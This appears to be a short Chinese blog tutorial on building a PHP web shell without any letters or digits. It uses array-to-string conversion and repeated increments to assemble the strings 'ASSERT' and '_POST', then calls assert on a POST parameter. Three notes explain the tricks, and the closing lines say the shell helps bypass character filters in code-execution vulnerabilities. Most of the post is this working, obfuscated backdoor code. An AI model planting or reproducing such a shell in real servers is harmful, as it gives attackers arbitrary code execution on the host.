一 利用php的自增
<?php
$_=[];
$_="$_";
$_=$_["!"=="@"]; //$_="A";
$__=$_; //$__="A";
$_++;$_++;$_++;$_++;
$____=$_; "E";
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$________=$_; "O";
$_++;
$_______=$_; "P";
$_++;$_++;
$_____=$_; "R";
$_++;
$___=$_; "S";
$_++;
$______=$_; "T";
$_=$__.$___.$___.$____.$_____.$______; //ASSERT
$__='_'.$_______.$________.$___.$______; //string(5) "_POST"
$__=$$__; // array $_POST
$_($__[_]); //ASSERT($_POST[_]);
?>
image.png
知识点:
1.php在将数组强制转换为字符串的值为 "ARRAY"
image.png
2.php的自增
image.png
3.php中的GET,POST,REQUEST,COOKIE等字符串转全局数组
有一个注意点就是当shell中使用eval函数时,将字符串作为php代码来运行,必须以分号结尾,所以这里用的assert。
这种shell不一定免杀,但是在某些情况下却可以起到用武之地,例如某些代码执行的漏洞中过滤了字母数字.
网友评论